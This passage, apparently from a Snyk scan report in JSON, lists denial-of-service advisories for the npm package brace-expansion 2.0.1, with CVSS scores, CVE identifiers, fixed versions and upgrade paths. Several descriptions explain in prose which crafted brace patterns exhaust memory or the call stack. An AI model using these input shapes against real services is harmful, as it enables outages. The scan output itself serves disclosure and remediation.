Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
